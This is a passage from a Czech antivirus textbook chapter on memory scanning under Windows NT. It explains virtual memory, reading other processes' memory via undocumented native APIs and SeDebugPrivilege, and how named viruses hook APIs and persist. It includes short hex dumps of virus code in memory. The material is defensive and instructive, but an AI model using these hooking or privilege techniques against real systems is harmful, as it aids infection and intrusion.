Protože skenery virů ve Windows NT často bývaly odnožemi "původních" skenovacích technologií v DOSu, mohlo se stát (a opravdu jsem to viděl), že důsledný programátor Windows NT slepě přenesl skenovací techniku z DOSu přímo do tohoto systému. Skenování prvního 1 MB fyzické paměti v systémech založených na NT je samozřejmě nedostatečné. Taková implementace ovšem není příliš obvyklá.

Abychom dobře pochopili, jak je v antivirovém softwaru implementováno skenování paměti, podíváme se v další části knihy na základy správy virtuální paměti ve Windows NT.

12.2 Systém virtuální paměti ve Windows NT Můžeme se ptát, k čemu je virtuální paměť dobrá. Jistě není nezbytně nutná – mnoho operačních systémů virtuální paměť nepoužívá vůbec, a přesto dobře fungují. DOS také nepoužívá virtuální paměť, a přesto na trhu přežívá téměř dvě desetiletí. Stálým problémem vývojářů však zůstává omezení fyzické paměti. V praxi totiž není množství paměti nikdy dostatečné. Aplikace jí spotřebovávají stále více a více, takže bylo vyvinuto mnoho technik pro řešení situací, které byly způsobeny omezeným množství fyzické paměti. Jednou z nejznámějších technik je mechanismus překryvů (overlay) – celý program je rozdělen do několika částí, přičemž v jednom okamžiku může být zpřístupněna pouze jedna z nich.

Když je některá část programu vyžadována, je načtena do fyzické paměti, kde přepíše část, která tam byla uložena původně. Správce virtuální paměti operačního systému funguje tak, že tyto problémy řeší rozdělováním paměti na stránky (pro všechny běžící aplikace). Aplikace se tedy nemusí starat o správu své paměti pomocí starých technik.

Virtuální paměť má i další přednosti:  I zolace procesů – Procesy mají oddělené adresovací prostory, a proto si nepřekážejí.  O chrana paměti – Procesor běží ve dvou různých režimech, takže operační systém je od ostat-

ních aplikací kompletně oddělen.  Ž ádné omezení paměti – Stránky, které se právě nepoužívají, nemusí být alokovány; data mo-

hou být mezi aplikacemi sdílena.

Počítačové viry – analýza útoku a obrana

433

Jakým způsobem implementují Windows NT virtuální paměť? Moderní procesory podporují správu virtuální paměti (VM, Virtual Memory). Ta může být zrealizována i bez podpory procesoru, ale byla by pak velice pomalá. Běží-li procesor v režimu virtuální paměti, předpokládá se, že všechny adresy jsou virtuální, a musí tedy být na fyzickou adresu přeloženy pokaždé, když procesor provádí novou instrukci.

Proto je podpora virtuální paměti procesorem kritická z hlediska rychlosti systému.

V systémech virtuální paměti o velikosti 4 GB používá procesor 32bitové adresy, které jsou složeny z těchto tří následujících částí:  O ffset adresáře.  O ffset tabulky stránek.  O ffset stránky.

(Režim rozšíření fyzických adres, PAE – Physical Address Extension, přidává čtvrtou vrstvu dereference.)

Překlad virtuálních adresy, z adresáře stránek do oblasti stránky, je podobný procházení struktury b-stromu. Adresář stránek (Page Directory) je kořenem, tabulky stránek (Page Table) jsou bezprostředními potomky a rámce stránek (Page Frame) jsou pak potomky tabulek stránek. Toto rozložení názorně demonstruje obrázek 12.1.

Obrázek 12.1

Adresář stránek.

Prvním krokem překladu virtuální adresy je získání nejvyšších 10 bitů, které slouží jako první offset.

Ten je pak použit jako index do stránky paměti, která se nazývá jako adresář stránek, a která obsahuje 32bitové hodnoty. Každý proces má v systému Windows NT svůj vlastní adresář stránek (na platformách Intel je pod Windows NT 4 mapován na adresu 0xC0300000). Adresář stránek je stránka o velikosti 4 kB, obsahující 1024 čtyř-bajtových hodnot, nazývaných jako záznamy adresáře stránek (PDE, Page Directory Entry). Deset bitů pak umožňuje indexovat každou PDE v adresáři stránek (210 dává totiž 1024 možných kombinací).

Každá PDE je poté použita k identifikaci jiné stránky paměti, nazvané jako tabulka stránek. Druhý desetibitový offset je dále použit k indexování čtyř-bajtové záznamy tabulky stránek (PTE, Page Table

434

Kapitola 12 – Skenování paměti a dezinfekce

Entry), stejným způsobem, jako je tomu u adresáře stránek. Položky PTE identifikují stránky paměti, nazývané jako rámce stránek. Zbývajících 12 bitů virtuální adresy je použito pro adresování konkrétního bajtů paměti v rámci stránky, identifikovaném pomocí PTE. S pomocí dvanácti bitů tak může finální offset indexovat všech 4096 bajtů v rámci stránky.

Pomocí tří dereferencí (indirection) tak nabízí Windows NT virtuální paměť, která je pro každý proces jedinečná. V IA32 architektuře Intelu může mít adresář stránek až 1024 PDE, což odpovídá maximálnímu počtu 1024 tabulek stránek (bez zapnutého PAE). Každá tabulka stránek pak může obsahovat až 1024 PTE; na každou z těchto tabulek tedy může připadat tento počet rámců stránek. Každý rámec stránky pak obsahuje 4096 bajtů dat. To celkem dává 4 GB adresovacího prostoru (1024 * 1024 * 4096).

12.3 Virtuální adresovací prostor Ve Windows NT je virtuální adresovací prostor rozdělen do dvou částí: do nižšího 2 GB uživatelského adresovacího prostoru a vyššího 2 GB prostoru systému (viz obrázek 12.2). Když CPU běží v uživatelském režimu, jsou dostupné pouze stránky uživatelského adresovacího prostoru, takže aplikace nemohou zasahovat do komponent operačního systému, které jsou přístupné pouze v režimu jádra. Když aplikace, která běží v uživatelském režimu (například WINWORD.EXE, NOTEPAD.EXE a podobně), volá API, je voláno nejdříve subsystémové DLL. To přeloží dokumentovanou funkci na nedokumentovanou funkci nativního API, která je součástí NTDLL.DLL. Toto nativní API volá v případě nutnosti výkonnou část Windows NT a přepíná procesor do režimu jádra. Obrázek 12.2 ukazuje standardní rozdělení 32bitového adresovacího prostoru Windows NT:

Obrázek 12.2

Standardní rozdělení 32bitového adresovacího prostoru systémů Windows NT.

Rozdělení 4 GB adresovacího prostoru může být změněno použitím Windows NT Enterprise Edition a speciálního nastavení v boot.ini. V tomto případě je uživatelský adresovací prostor 3 GB, přičemž pro systémový adresovací prostor zůstává 1 GB. Je to kvůli podpoře aplikací, které používají velmi rozsáhlé databáze a mohou tak pracovat efektivněji. Rozdělení adresovacího prostoru Windows NT Enterprise Edition (/3GB)4 je uvedeno na obrázku 12.3.

Počítačové viry – analýza útoku a obrana

Obrázek 12.3

435

Windows NT Enterprise Edition nahraný s volbou /3GB.

Jedním z nových prvků Windows 2000 běžících na systémech Alpha APX je rozšíření adresovacího prostoru virtuální paměti ze 4 GB na celkem 32 GB. To se označuje zkratkou VLM (viz obrázek 12.4).

Horní adresářový prostor není stránkován a nelze jej použít pro kód, pouze pro data.

Obrázek 12.4

Schéma paměti VLM.

Ve všech těchto modelech mapuje uživatelský adresovací prostor právě jeden proces. Pokaždé, když je spuštěna nějaká aplikace, vytváří NT pro tento nový proces virtuální adresovací prostor. Ten stejný virtuální adresovací prostor pak může být použit libovolným množstvím aplikací, přičemž virtuální adresy se nemusí odkazovat na stejnou fyzickou stránku paměti. Když se například proces A odkazuje na stránku na adrese 0x00400000 (obvyklá základní adresa aplikací), může být stránka procesu B, se stejnou adresou, také platná. Použitím stejné adresy ovšem nemůže proces A zasahovat do procesu B, protože ta je platná pouze v kontextu daného procesu. Na jednom CPU, může být použito pouze jedno

436

Kapitola 12 – Skenování paměti a dezinfekce

mapování virtuální adresy na fyzickou. Pokaždé, když je naplánováno vykonání nějakého threadu, dojde k přepnutí kontextu, které změní aktuální mapování adres (virtuálních na fyzické) na ten kontext procesu, ve kterém běží naplánovaný thread. Aby se zajistilo, že paměťové reference komponent systému v režimu jádra (a ovladačů) budou pro horní 2 GB vždy platné, poskytuje NT část tabulek k tomu, aby udržovaly v každém kontextu stejné informace.

Správce virtuální paměti (VMM, Virtual Memory Manager) řídí systémový adresovací prostor jiným způsobem, než prostor uživatelský (na obrázku 12.5 je zobrazen4 normální systémový adresovací prostor pod IA32). V tomto adresovacím prostoru jsou kódové komponenty Windows NT uloženy společně se všemi ovladači v režimu jádra. A protože ovladače v režimu jádra mají stejná práva a stejný pohled na systémovou část adresovacího prostoru, mohou zasahovat do kódu operačního systému, nebo do kódu jiného ovladače. Ukázkový seznam nahraných komponent systému je ve výpisu 12.1.

Obrázek 12.5

Schéma paměti VLM.

Počítačové viry – analýza útoku a obrana

437

Výpis 12.1 Částečný výpis nahraných ovladačů a jejich bázových adres v 32bitovém adresovacím prostoru.

Báz. adresa

Jméno

0x77f60000

\WINNT\system32\NTDLL.DLL

0x80001000

Pcmcia.sys

0x8000b000

Disk.sys

0x80010000

\WINNT\System32\hal.dll

0x80100000

\WINNT\System32\ntoskrnl.exe

0x801e0000

\WINNT\System32\drivers\SCSIPORT.SYS

0x801e8000

\WINNT\System32\Drivers\CLASS2.SYS

0x801ec000

Ntfs.sys

0x80244000

TpPmPort.sys

0xa0000000

\??\C:\WINNT\system32\win32k.sys

.

0xf7000000

\SystemRoot\System32\Drivers\Cdfs.SYS

.

0xf72f0000

\SystemRoot\System32\Drivers\Cdrom.SYS

Povšimněme si, že v seznamu nahraných ovladačů je také NTDLL.DLL (nativní API). Ačkoli je zavedeno v uživatelském režimu, je silně svázáno s přechodem několika funkcí do režimu jádra. Toto nativní API tak vystupuje jako "zprostředkovatel".

Zřejmě nejnáročnějším problémem správy virtuální paměti je mechanismus stránkování. Windows NT má schopnost uvolnit ty stránky paměti, které již nejsou potřebné. Toto uvolňování provádí správce paměti tak, že modifikuje záznamy v tabulce stránek a označuje je jako neplatné. Náleží-li stránka výkonnému kódu, a pokud to není "špinavá" stránka (tedy taková stránka, jejíž obsah byl při běhu programu změněn), stačí ji pouze označit jako neplatnou. Jinak musí být modifikovaná stránka zapsána do souboru, zpravidla do stránkovacího souboru (pagefile.sys).

Pokud je tato stránka opětovně vyžadována, je generován chyba stránky (page fault). Pokud je to možné, je ověřena její aktuální virtuální adresa. V případě, že je namapována ze souboru (většinou aplikace a soubory DLL), je stránka načtena z toho souboru, ve kterém existují příslušná data. V opačném případě je načtena ze stránkovacího souboru. Windows NT potom znovu pokračují instrukcí, která způsobila výpadek stránky.

Windows NT umožňují sdílet stránku fyzické paměti mezi několika procesy. To znamená, že několik kopií jedné spuštěné aplikace si pokaždé nerezervuje stejné množství paměti, ale ze všech pohledů jsou viděny téže fyzické stránky. Když se má změnit obsah stránky, nemusí se měnit kontext všech procesů, ale pouze té instance, která vyžaduje změnu. To se provede tak, že se rezervuje nová stránka fyzické paměti a data se do ní zkopírují. Změna se pak provede v nové kopii.

438

Kapitola 12 – Skenování paměti a dezinfekce

12.4 Skenování paměti v uživatelském režimu První otázkou problematiky skenování paměti je to, jak zpřístupnit data různých procesů. Jak bylo již diskutováno dříve, proces A nemůže ovlivňovat proces B. Jak tedy může skener v uživatelském režimu číst obsah všech ostatních procesů? Odpovědí je funkce API, nazvaná jako ReadProcessMemory(). Tato API je obvykle používána debuggery pro kontrolované vykonávání trasované aplikace. Funkce ReadProcessMemory() se potřebuje zavěsit na proces, který může být získán pomocí OpenProcess(), a přístupové právo PROCESS_VM_READ. OpenProcess() vyžaduje ID procesu. Kde však vzít toto ID? Odpověď není zcela jednoduchá, protože předmětné DLL (PSAPI.DLL), ve kterém jsou umístěna jmenovaná API, nejsou standardní součástí prostředí Windows NT (byla totiž uvedena až později ve Windows 2000). Chybějící PSAPI.DLL a dokumentace mě vedly ke zkoumání stávající situace u Windows NT. Protože Správce úloh a některé další aplikace umí zobrazit všechny běžící procesy a jejich ID, bylo zřejmé, že je to možné i bez PSAPI.DLL. Ukázalo se, že většina funkcí v PSAPI.DLL jsou pouze "obalem" (wrappers) nativních služeb, umístěných v NTDLL.DLL, jako například NtQuerySystemInformation().

Nativní skupina API není Microsoftem dokumentována; obvykle je používána subsystémy. Z tohoto důvodu nepřistupuje většina aplikací k NTDLL.DLL přímo. Microsoft ve skutečnosti předpokládá použití dokumentovaných rozhraní. Správce úloh je však k NTDLL.DLL připojen přímo.

Správce úloh pro získání seznamu všech běžících procesů a jejich ID, používá nativní API NtQuerySystemInformation(). K získání adresy API (za účelem jejího volání) stačí uživatelské aplikaci, aby se připojila k NTDLL.DLL, nebo jednoduše použila GetProcAddress().

Když je známé ID jednotlivého procesu, je možné pro čtení aktuálního adresovacího prostoru použít ReadProcessMemory(). K tomu musí znát paměťový skener přesné umístění stránek, použitých aplikací.

Funkce VirtualQueryEx() naštěstí poskytuje informace o rozsahu stránek uvnitř virtuálního adresovacího prostoru zadaného procesu. Vyžaduje otevřený handle procesu a vrací atributy a velikosti oblastí.

Správce úloh také vyžaduje přístup k PROCESS_QUERY_INFORMATION. Pomocí této funkce mohou být snadno eliminovány jak rezervované, tak i volné stránky, které nemusí být zpřístupněny, ale které musí být prověřeny. To se provede použitím API ReadProcessMemory() na tyto stránky.

12.4.1 Tajemství funkce NtQuerySystemInformation() Funkce NtQuerySystemInformation() (NtQSI) není dokumentována Microsoftem, není ale nezbytně nutné ji používat, protože uživatelské aplikace se mohou pripojit k PSAPI.DLL, které obratem volá NtQSI. Jak ale uvidíme později, tato funkce může být užitečná při implementaci paměťového skeneru v režimu jádra. Proto je dobré se o ní alespoň zmínit.

NtQSI má čtyři 32bitové parametry (DWORD nebo ULONG).

První z těchto parametrů může být pojmenován jako SystemInformationClass. Označuje typ informace, která má být vrácena funkcí (má několik možných hodnot, například hodnota 5 označuje seznam běžících procesů). Druhý parametr je adresa bufferu návratových hodnot, který by měl být alokován volajícím programem; označme jej jako SystemInformationBuffer. Třetím parametrem je alokovaná velikost v bajtech. Čtvrtý parametr BytesWritten (typu PULONG) je nepovinný; jedná se o počet bajtů, vrácených volajícímu kódu.

Počítačové viry – analýza útoku a obrana

439

NtQSI() vrací hodnotu NTSTATUS. Pokud vrácená hodnota není STATUS_SUCCESS (0), jedná se zpravidla o STATUS_INFO_LENGTH_MISMATCH, což znamená, že velikost alokovaného bufferu neodpovídá velikosti potřebné pro specifikovanou informační třídu. To je důvod, proč musí být NtQSI() volána v cyklu se stále většími a většími buffery, dokud nemůže být jádrem Windows NT vrácena kompletní informace.

V případě korektního návratu jsou informace umístěny v bufferu ve formě zřetězeného seznamu. První hodnota DWORD specifikuje relativní odkaz na další blok informací o procesu (od začátku bufferu).

Hodnota DWORD na offsetu 0x44 každého bloku je ID procesu (tato pozice je samozřejmě závislá na platformě a pro IA64 se liší). To je důležité, protože pomocí ID mohou být volány další API. A na závěr zde uvádíme "ručně vytvořenou" definici NtQuerySystemInformation(): NTSYSAPI NTSTATUS NTAPI NtQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformationBuffer, IN ULONG SystemInformationLength, OUT PULONG BytesWritten OPTIONAL );

Voláním dalších nativních API s využitím ID procesů mohou být získány další důležité informace o zavedených obrazech spustitelných souborů (typů .EXE a .DLL). Jde o funkci RtlQueryProcessDebugInformation(), která využívá buffer, alokovaný pomoci RtlCreateQueryDebugBuffer() a dealokovaný pomocí RtlDestroyQueryDebugBuffer(). Jedná se samozřejmě o nedokumentované nativní API.

12.4.2 Obecné procesy a speciální systémová práva V typickém systému, založeném na Windows NT, běží několik procesů už v době, kdy ještě není přihlášen žádný uživatel. Nejdůležitější z nich jsou System Idle Process, System Process, SMSS.EXE, CSRSS. EXE, WINLOGON.EXE a SERVICES.EXE. Skener pod Windows NT by měl prohlížet všechny tyto adresovací prostory a také ostatní běžící procesy, které jsou spuštěné uživatelem.

Podstata problému je v tom, že některé z těchto procesů nemohou být otevřeny pomocí OpenProcess() a není tak možné pomocí tohoto API získat příslušný handle. V dokumentaci Microsoft Press7 (například Microsoft Windows NT, Third Edition) se uvádí, že některé z těchto procesů jsou bezpečnostní a nemohou proto být otevřeny pro operace QUERY_INFORMATION nebo VM_WRITE (jedná se o WINLOGON.EXE, CLIPSRV.EXE a EVENTLOG.EXE). Takové procesy musí být nejprve upraveny přidáním dodatečných bezpečnostních oprávnění systému (tato informace ovšem v dokumentaci Microsoftu chybí).

Významné je to, že hodnota oprávnění SeDebugPrivilege musí být přiřazena atributu SE_PRIVILEGE_ ENABLED. Oprávnění SeDebugPrivilege je přístupné administrátorům a uživatelům jim ekvivalentním, nebo těm uživatelům, kterým toto oprávnění přidělil administrátor. Výchozí atribut tohoto oprávnění však není povolen ani pod administrátorským účtem, takže při pokusu o otevření bezpečnostního

440

Kapitola 12 – Skenování paměti a dezinfekce

procesu funkce OpenProcess() selže. K přidělení tohoto oprávnění musí funkce OpenProcessToken() přidělit TOKEN_ADJUST_PRIVILEGES a teprve poté mohou být pomocí LookupPrivilegeValue() ověřena práva uživatele. Pokud má uživatel právo toto učinit, může být pomocí API AdjustTokenPrivileges() přiděleno oprávnění SE_PRIVILEGE_ENABLED. Je dobré chránit tímto způsobem některé standardní aplikace. Windows NT například zhavarují, když WINLOGON.EXE přestane fungovat. Změna způsobená uživatelskou aplikací, v jakémkoliv místě adresovacího prostoru WINLOGON.EXE, má za důsledek havárii celého systému! To samozřejmě není dobré. WINLOGON.EXE může být do paměti načten ještě v době, kdy oprávnění není povoleno – oprávnění by však měla být přidělena všem uživatelům ještě před skenováním aplikací v paměti. Pokud by byl náhodou WINLOGON.EXE infikován, tato infekce by nebyla detekována. Předání oprávnění všem uživatelům ale neučiní systém bezpečnějším. To je důvod, proč je lepší vytvořit skener paměti jako ovladač v režimu jádra – oprávnění PROCESS_ALL_ACCESS pak lze získat snadněji, protože ovladače běží pod Windows NT s těmi nejvyššími právy.

12.4.3 Viry v subsystému Win32 Tato část popisuje různé způsoby, pomocí kterých se mohou stát viry aktivními (jako součást jednotlivých procesů). Většina 32bitových uživatelských aplikací běží v subsystému Win32, který je nejdůležitějším subsystémem Windows NT. Subsystém Win32 je vytvořen a používán jako výchozí a na rozdíl od ostatních subsystémů nemůže být zakázán. Mohou v něm být aktivní viry.

Subsystém Win32 obsahuje tyto hlavní komponenty: CSRSS.EXE (proces prostředí subsystému), ovladač v režimu jádra WIN32K.SYS a subsystémová DLL (USER32.DLL, ADVAPI32.DLL, GDI32.DLL a KERNEL32.DLL), které překládají dokumentované funkce Win32 API do odpovídajících nedokumentovaných volání služeb jádra systému NTOSKRNL.EXE a WIN32K.SYS. Existuje ještě jedna velmi důležitá součást subsystému Win32 – NTDLL.DLL, která je výchozí pro ostatní subsystémová DLL. Je použita v ostatních subsystémech Windows NT a také nativními aplikacemi, které neběží v subsystému.

Následující výpis 12.2 zobrazuje některé ze systémových procesů – zavedená DLL s jejich bázovými adresami a velikostmi.

Výpis 12.2 Některé spustitelné součásti systému a jejich DLL. PID: 0x0014 Bázová adresa Velikost

Jméno

0x023a0000

0x0000c000

\SystemRoot\System32\smss.exe

0x77f60000

0x0005c000

C:\WINNT\System32\ntdll.dll

PID: 0x001c Bázová adresa Velikost

Jméno

0x5ffe0000

0x00005000

\??\C:\WINNT\system32\csrss.exe

0x77f60000

0x0005c000

C:\WINNT\System32\ntdll.dll

:

Počítačové viry – analýza útoku a obrana 0x77e70000

0x00051000

C:\WINNT\system32\USER32.dll

0x77f00000

0x0005e000

C:\WINNT\system32\KERNEL32.dll

0x00007000

C:\WINNT\system32\rpcltc1.dll

441

: 0x5f810000 PID: 0x0022 Bázová adresa Velikost

Jméno

0x02880000

0x00030000

\??\C:\WINNT\SYSTEM32\winlogon.exe

0x77f60000

0x0005c000

C:\WINNT\System32\ntdll.dll

0x78000000

0x00048000

C:\WINNT\system32\MSVCRT.dll

0x77f00000

0x0005e000

C:\WINNT\system32\KERNEL32.dll

0x77dc0000

0x0003e000

C:\WINNT\system32\ADVAPI32.dll

0x0003a000

C:\WINNT\SYSTEM32\NETUI1.dll

: 0x77850000

12.4.4 Viry Win32 alokující privátní stránky Některé viryWin32 pro sebe alokují privátní stránky paměti s atributem PAGE_EXECUTE_READWRITE. Pokud je zavedena (loaded) infikovaná aplikace, z vykonaného kódu aplikace je aktivován kód viru.

Virus poté pro své potřeby alokuje nové stránky a přesune svůj kód tam. Je pro něj důležitý přístup s právem zápisu, protože ukládá data, která pak potřebuje modifikovat, k čemuž právo pro čtení nestačí.

Například virus W32/Cabanas.3014.A8 alokuje blok 12232 bajtů, který je reprezentován třemi stránkami v adresovacím prostoru infikovaného procesu (viz výpis 12.3). Protože Cabanas při alokaci paměti pomocí funkce VirtualAlloc() používá příznak MEM_TOP_DOWN, budou tyto tři stránky umístěny na úplném konci uživatelského adresovacího prostoru, obvykle někde kolem adresy 0x7FFA0000.

Výpis 12.3 W32/Cabanas na úplném konci uživatelského adresovacího prostoru.

PID: 0x0051 Bázová adresa Velikost

Jméno

0x01b40000

0x00010000

C:\WINNT\system32\notepad.exe

0x77f60000

0x0005b000

C:\WINNT\System32\ntdll.dll

0x77d80000

0x00032000

C:\WINNT\system32\comdlg32.dll

0x77f00000

0x0005c000

C:\WINNT\system32\KERNEL32.dll

0x77e70000

0x00053000

C:\WINNT\system32\USER32.dll

0x77ed0000

0x0002b000

C:\WINNT\system32\GDI32.dll

0x77dc0000

0x0003e000

C:\WINNT\system32\ADVAPI32.dll

0x77e20000

0x0004f000

C:\WINNT\system32\RPCRT4.dll

0x77c40000

0x0013b000

C:\WINNT\system32\SHELL32.dll

0x77bf0000

0x0004f000

C:\WINNT\system32\COMCTL32.dll

0x779f0000

0x00046000

C:\WINNT\system32\MSVCRT.dll

442 0x7FFA0000

Kapitola 12 – Skenování paměti a dezinfekce PAGE_EXECUTE_READWRITE 12288 MEM_COMMIT Private

Cabanas se zavěšuje na některá API modulu KERNEL32.DLL tak, že přepisuje záznamy tabulky importů hostitelského programu vlastními rutinami. Kdykoliv hostitelská aplikace volá některou z připojených API, má virus možnost se za běhu replikovat do jiné aplikace, nebo volat své vlastní adresářové stealth rutiny.

Virus W32/Parvo.138579 alokuje 132605 bajtů adresovacího prostoru napadeného procesu (přesněji 33 stránek, takže 33*4096 = 135168 bajtů), protože potřebuje spoustu paměti pro svůj polymorfní engine a pro vlastní přenosové moduly.

W32/Parvo nepoužívá příznak MEM_TOP_DOWN, takže alokované stránky budou rezervovány z první volné oblasti paměti uživatelského adresovacího prostoru, která je dostatečně velká (v příkladu ve výpisu 12.4 v infikovaném NOTEPAD.EXE je to na adrese 0x002F0000).

Výpis 12.4 W32/Parvo uvnitř adresovacího prostoru NOTEPADu. PID: 0x004d Bázová adresa Velikost

Jméno

0x002F0000

PAGE_EXECUTE_READWRITE 135168 MEM_COMMIT Private

0x01760000

0x00011000

C:\WINNT35\system32\NOTEPAD.EXE

0x77f80000

0x0004e000

C:\WINNT35\System32\ntdll.dll

0x77df0000

0x0002b000

C:\WINNT35\system32\comdlg32.dll

0x77f20000

0x00054000

C:\WINNT35\system32\KERNEL32.dll

0x77ea0000

0x00038000

C:\WINNT35\system32\USER32.dll

0x77ee0000

0x00033000

C:\WINNT35\system32\GDI32.dll

:

Kód viru bude aktivní pod jménem původní infikované a spuštěné aplikace. V jeden okamžik je aktivní pouze jedna kopie viru. Původní hostitel bude spuštěn pod náhodným jménem jako potomek infikované aplikace, jak je ukázáno ve výpisu 12.5.

Protože hostitelský program je spuštěn téměř bezprostředně, může virus ze svého vlastního procesu nenápadně infikovat ostatní aplikace a pomocí svého přenosového modulu (založeného na použití API WSOCK32.DLL) se dále šířit.

Výpis 12.5 W32/Parvo spouští původní NOTEPAD.EXE jako JRWK.EXE. PID: 0x003c Bázová adresa Velikost

Jméno

0x01760000

0x00011000

C:\WINNT35\SYSTEM32\JWRK.EXE

0x77f80000

0x0004e000

C:\WINNT35\System32\ntdll.dll

Počítačové viry – analýza útoku a obrana 0x77df0000

0x0002b000

C:\WINNT35\system32\comdlg32.dll

0x77f20000

0x00054000

C:\WINNT35\system32\KERNEL32.dll

0x77ea0000

0x00038000

C:\WINNT35\system32\USER32.dll

0x77ee0000

0x00033000

C:\WINNT35\system32\GDI32.dll

443

:

12.4.5 Viry nativních služeb Windows NT Nová třída virů Windows NT napadá spustitelné obrazy (executable images), které jsou zavedeny jako nativní služby Windows NT. Jedná se například o virus WNT/RemEx3 (všeobecně známý jako RemoteExplorer). Virus RemEx se spouští jako služba ie403r.sys běžící v uživatelském režimu, viz výpis 12.6.

Virus určitou dobu spí. Po svém probuzení zkouší opakovaně infikovat ostatní aplikace.

Výpis 12.6 WNT/RemEx běžící jako služba ie403r.sys.

PID: 0x0036 Bázová adresa Velikost

Jméno

0x00400000

0x0002b000

C:\WINNT\system32\drivers\ie403r.sys

0x77f60000

0x0005b000

C:\WINNT\System32\ntdll.dll

0x77f00000

0x0005c000

C:\WINNT\system32\KERNEL32.dll

0x77e70000

0x00053000

C:\WINNT\system32\USER32.dll

0x77ed0000

0x0002b000

C:\WINNT\system32\GDI32.dll

0x77dc0000

0x0003e000

C:\WINNT\system32\ADVAPI32.dll

0x77e20000

0x0004f000

C:\WINNT\system32\RPCRT4.dll

0x77720000

0x00011000

C:\WINNT\system32\MPR.dll

0x77e10000

0x00007000

C:\WINNT\system32\rpcltc1.dll

12.4.6 Viry Win32, které používají proceduru skrytého okna Některé viry, například {W32, W97M}/Beast.41472.A10, instalují pro své potřeby proceduru skrytého okna, přičemž používají časovač (timer). Časovače byly k dispozici v 16bitových verzích Windows a bývaly občas používány k simulaci vícethreadové funkcionality. Jak je vysvětleno v kapitole 3, tyto viry běží v podobě kompletního procesu a používají přitom OLE API pro injektáže vložených maker a spustitelného kódu (samotného binárního viru) do dokumentů Office 97. Protože virus může z aktivního procesu infikovat dokumenty, je pro skenery a dezinfekční programy těžké je z takových infikovaných dokumentů odstranit, pokud nemohou předtím virus detekovat a odstranit jej z paměti.

12.4.7 Viry Win32, které jsou součástí spustitelného obrazu W32/Heretic.1986.A byl první virus, kterému se pod Windows NT podařilo úspěšně infikovat KERNEL32.DLL. Ten je používán většinou aplikací a mnoho kritických API Win32 je z něj exportováno.

Když je KERNEL32.DLL napaden, bude také napadena většina spustitelných aplikací, protože tento soubor využívají pro volání API.

444

Kapitola 12 – Skenování paměti a dezinfekce

Heretis upravuje tabulku exportních adres modulu KERNEL32.DLL tak, že se funkce CreateProcessA() a CreateProcessW() odkazují do poslední části DLL, kde je umístěn kód viru – viz výpis 12.7.

Výpis 12.7 W32/Heretic.1986.A modifikuje exportní adresy API CreateProcess. image base 77F00000 . .

00015385 59 CreateNamedPipeA 000153FA 60 CreateNamedPipeW 00017DB6 61 CreatePipe 0005E451 62 CreateProcessA -> (77F5E451) 0005E442 63 CreateProcessW -> (77F5E442) 00004F9A 64 CreateRemoteThread 0001C893 65 CreateSemaphoreA .

Když jsou tyto funkce volány hostitelským programem, má virus možnost infikovat za běhu ostatní aplikace. Zvětší poslední část (.reloc) modulu KERNEL32.DLL a umístí svůj kód sem, přičemž změní charakteristiky této části na typy MEM_EXECUTE a MEM_WRITE. Výpis 12.8 ukazuje kód viru v paměti a konec infikovaného souboru KERNEL32.DLL.

Výpis 12.8 W32/Heretic.1986.A na konci infikovaného modulu KERNEL32.DLL v paměti.

0x77F5B000 PAGE_EXECUTE_WRITECOPY 16384 MEM_COMMIT Image 77f5e000 84 69 01 00 00 89 47 28 66 81 38 4d 5a 0f 85 52 .i....G(f.8MZ.ŕR .

77f5e410 3f 01 75 06 3c 22 75 f6 eb 08 3c 20 74 04 0a c0 ?.u.<""u÷d.< t..+ 77f5e420 75 ec c6 46 ff 00 8d 85 0c 15 40 00 89 47 08 e8 u8ıF …..@..G.F 77f5e430 31 fb ff ff 57 ff 95 92 17 40 00 ff 95 92 17 40 1v W ...@. ...@ 77f5e440 00 c3 68 34 84 f1 77 9c 60 e8 0a ff ff ff 61 9d .+h4ä±wŁ`F. aĄ 77f5e450 c3 68 51 7f f1 77 9c 60 e8 56 ff ff ff 61 9d c3 +hQ ±w.`FV a.+ 77f5e460 5b 48 65 72 65 74 69 63 5d 20 62 79 20 4d 65 6d [Heretic] by Mem 77f5e470 6f 72 79 20 4c 61 70 73 65 00 46 6f 72 20 6d 79 ory Lapse.For my

Jiná třída virů Win32 zůstává aktivní jako součást infikovaného spustitelného obrazu – jedná se například o virus W32/Niko.5178 (viz ilustrační výpis 12.9). Virus W32/Niko je aktivován z infikované přenositelné (PE, Portable Executable) aplikace. Připojuje se do poslední části PE aplikace, přičemž modifikuje charakteristiky této části na MEM_WRITE. To umožňuje případnou modifikaci virového kódu v paměti.

Počítačové viry – analýza útoku a obrana

445

Výpis 12.9 Virus W32/Niko.5178 v infikované aplikaci ASD.EXE ve stránce 0x0040F000.

0040F000 PAGE_EXECUTE_WRITECOPY 8192 MEM_COMMIT PAGE_READWRITE Image 0040f000 e9 21 00 00 00 b8 97 01 41 00 c3 b8 c1 03 41 00 T!...+ů.A.++-.A. 0040f010 c3 e9 ba 48 ff ff b8 06 00 00 00 c3 e9 bf 10 00 +TıH +....+T+..

0040f020 00 e9 d5 0e 00 00 e8 eb ff ff ff 50 e8 d4 ff ff .T+...Fd PF+ . .

00410190 d0 e9 5d ff ff ff 00 72 00 4e 49 43 4f 5f 56 49 -T] .r.NICO_VI 004101a0 52 5f 4f 46 46 00 4b 45 52 4e 45 4c 33 32 00 47 R_OFF.KERNEL32.G 004101b0 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 etEnvironmentVar 004101c0 69 61 62 6c 65 41 00 4e 49 43 4f 5f 56 49 52 5f iableA.NICO_VIR_ 004101d0 43 48 49 4c 44 5f 4f 46 46 00 7b 00 00 00 43 72 CHILD_OFF.{...Cr 004101e0 65 61 74 65 54 68 72 65 61 64 00 47 6c 6f 62 61 eateThread.Globa 004101f0 6c 41 6c 6c 6f 63 00 6c 73 74 72 63 70 79 00 47 lAlloc.lstrcpy.G 00410200 6c 6f 62 61 6c 46 72 65 65 00 6c 73 74 72 63 6d lobalFree.lstrcm 00410210 70 69 00 5c 2a 2e 2a 00 6c 73 74 72 63 61 74 00 pi.\*.*.lstrcat.

00410220 46 69 6e 64 46 69 72 73 74 46 69 6c 65 41 00 2e FindFirstFileA..

Niko je jeden z prvních počítačových virů, který je multithreadový. Pro své potřeby vytváří dva thready, jak je ukázáno ve výpisu 12.10. První z nich je trigger, který má v určitý den zobrazovat zprávu. Druhý thread je infekční. Poté, co virus vytvoří thready, je spuštěna hostitelská aplikace.

